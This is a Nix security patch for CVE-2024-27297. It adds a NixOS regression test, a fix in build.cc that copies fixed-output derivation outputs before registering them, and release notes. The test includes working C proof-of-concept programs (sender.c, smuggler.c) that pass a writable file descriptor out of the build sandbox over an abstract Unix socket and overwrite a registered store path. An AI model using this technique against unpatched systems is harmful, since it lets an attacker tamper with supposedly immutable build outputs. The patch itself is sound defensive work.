path: root/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch

From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Mon, 12 Feb 2024 21:28:20 +0100
Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape

Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.
---
 release.nix                        |  5 ++
 tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++
 tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
 tests/nixos/ca-fd-leak/smuggler.c  | 66 +++++++++++++++++++++
 4 files changed, 229 insertions(+)
 create mode 100644 tests/nixos/ca-fd-leak/default.nix
 create mode 100644 tests/nixos/ca-fd-leak/sender.c
 create mode 100644 tests/nixos/ca-fd-leak/smuggler.c

diff --git a/release.nix b/release.nix
index f468946c5..2e71f3796 100644
--- a/release.nix
+++ b/release.nix
@@ -235,6 +235,11 @@ let
       nix = build.x86_64-linux; system = "x86_64-linux";
     });
 
+    tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
+      inherit nixpkgs;
+      nix = build.x86_64-linux; system = "x86_64-linux";
+    });
+
     tests.setuid = pkgs.lib.genAttrs
       ["i686-linux" "x86_64-linux"]
       (system:
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
new file mode 100644
index 000000000..c252caa4d
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -0,0 +1,93 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ nixpkgs, system, nix }:
+
+with import (nixpkgs + "/nixos/lib/testing-python.nix") {
+  inherit system;
+};
+
+let
+  # Simple C program that sends a a file descriptor to `$out` to a Unix
+  # domain socket.
+  # Compiled statically so that we can easily send it to the VM and use it
+  # inside the build sandbox.
+  sender = pkgs.runCommandWith {
+    name = "sender";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./sender.c}
+  '';
+
+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+  # lives in a mount namespace where it is not! So even when this file exists
+  # in the actual Nix store, we're capable of just modifying its contents...
+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+  # The abstract socket path used to exfiltrate the file descriptor
+  socketName = "FODSandboxExfiltrationSocket";
+in
+makeTest {
+  name = "ca-fd-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+      nix.binaryCaches = [ ];
+      nix.package = nix;
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    machine.succeed("echo hello")
+    # Start the smuggler server
+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+    # Build the smuggled derivation.
+    # This will connect to the smuggler server and send it the file descriptor
+    machine.succeed(r"""
+      nix-build -E '
+        builtins.derivation {
+          name = "smuggled";
+          system = builtins.currentSystem;
+          # look ma, no tricks!
+          outputHashMode = "flat";
+          outputHashAlgo = "sha256";
+          outputHash = builtins.hashString "sha256" "hello, world\n";
+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+      }'
+    """.strip())
+
+
+    # Tell the smuggler server that we're done
+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+    # Check that the file was modified
+    machine.succeed(r"""
+      cat ./result
+      test "$(cat ./result)" = "hello, world"
+    """.strip())
+  '';
+
+}
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
new file mode 100644
index 000000000..75e54fc8f
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/sender.c
@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Set up a abstract domain socket path to connect to.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+
+    // Now try to connect, To ensure we work no matter what order we are
+    // executed in, just busyloop here.
+    int res = -1;
+    while (res < 0) {
+        res = connect(sock, (const struct sockaddr *)&data,
+            offsetof(struct sockaddr_un, sun_path)
+              + strlen(argv[1])
+              + 1);
+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
+        if (errno != ECONNREFUSED) break;
+    }
+
+    // Write our message header.
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Write an SCM_RIGHTS message containing the output path.
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
+    hdr->cmsg_level = SOL_SOCKET;
+    hdr->cmsg_type = SCM_RIGHTS;
+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+    // Write a single null byte too.
+    msg.msg_iov = malloc(sizeof(struct iovec));
+    msg.msg_iov[0].iov_base = "";
+    msg.msg_iov[0].iov_len = 1;
+    msg.msg_iovlen = 1;
+
+    // Send it to the othher side of this connection.
+    res = sendmsg(sock, &msg, 0);
+    if (res < 0) perror("sendmsg");
+    int buf;
+
+    // Wait for the server to close the socket, implying that it has
+    // received the commmand.
+    recv(sock, (void *)&buf, sizeof(int), 0);
+}
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
new file mode 100644
index 000000000..82acf37e6
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/smuggler.c
@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Bind to the socket.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+    int res = bind(sock, (const struct sockaddr *)&data,
+        offsetof(struct sockaddr_un, sun_path)
+        + strlen(argv[1])
+        + 1);
+    if (res < 0) perror("bind");
+
+    res = listen(sock, 1);
+    if (res < 0) perror("listen");
+
+    int smuggling_fd = -1;
+
+    // Accept the connection a first time to receive the file descriptor.
+    fprintf(stderr, "%s\n", "Waiting for the first connection");
+    int a = accept(sock, 0, 0);
+    if (a < 0) perror("accept");
+
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Receive the file descriptor as sent by the smuggler.
+    recvmsg(a, &msg, 0);
+
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    while (hdr) {
+        if (hdr->cmsg_level == SOL_SOCKET
+          && hdr->cmsg_type == SCM_RIGHTS) {
+
+            // Grab the copy of the file descriptor.
+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+        }
+
+        hdr = CMSG_NXTHDR(&msg, hdr);
+    }
+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+    close(a);
+
+    // Wait for a second connection, which will tell us that the build is
+    // done
+    a = accept(sock, 0, 0);
+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+    // Write a new content to the file
+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+    char * new_content = "Pwned\n";
+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+    if (written_bytes != strlen(new_content)) perror("write");
+}

From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Tue, 13 Feb 2024 08:28:02 +0100
Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
 registering them

It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).
---
 src/libstore/build.cc | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/src/libstore/build.cc b/src/libstore/build.cc
index d3a712c1a..3fb827a15 100644
--- a/src/libstore/build.cc
+++ b/src/libstore/build.cc
@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs()
             throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
 #endif
 
-        /* Apply hash rewriting if necessary. */
+        /* Apply hash rewriting if necessary.
+         *
+         * For FODs, we always do the dump-and-restore dance regardless to make
+         * sure that there's no stale file descriptor pointing to the output
+         * of the path.
+         * */
         bool rewritten = false;
-        if (!outputRewrites.empty()) {
+        if (fixedOutput || !outputRewrites.empty()) {
+            if (!outputRewrites.empty()) {
             printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
+            }
 
             /* Canonicalise first.  This ensures that the path we're
                rewriting doesn't contain a hard link to /etc/shadow or

From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <7226587+thufschmitt@users.noreply.github.com>
Date: Wed, 21 Feb 2024 17:32:36 +0100
Subject: [PATCH 3/4] Fix a typo in a test comment

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 tests/nixos/ca-fd-leak/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
index c252caa4d..2fd5ca2d6 100644
--- a/tests/nixos/ca-fd-leak/default.nix
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -83,7 +83,7 @@ makeTest {
     # Tell the smuggler server that we're done
     machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
 
-    # Check that the file was modified
+    # Check that the file was not modified
     machine.succeed(r"""
       cat ./result
       test "$(cat ./result)" = "hello, world"

From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Fri, 1 Mar 2024 09:31:05 +0100
Subject: [PATCH 4/4] Add release notes

---
 doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
 1 file changed, 14 insertions(+)
 create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md

diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
new file mode 100644
index 000000000..ed451711e
--- /dev/null
+++ b/doc/manual/rl-next/fod-sandbox-escape.md
@@ -0,0 +1,14 @@
+---
+synopsis: Fix a FOD sandbox escape
+issues:
+prs:
+---
+
+Cooperating Nix derivations could send file descriptors to files in the Nix
+store to each other via Unix domain sockets in the abstract namespace. This
+allowed one derivation to modify the output of the other derivation, after Nix
+has registered the path as "valid" and immutable in the Nix database.
+In particular, this allowed the output of fixed-output derivations to be
+modified from their expected content.
+
+This isn't the case any more.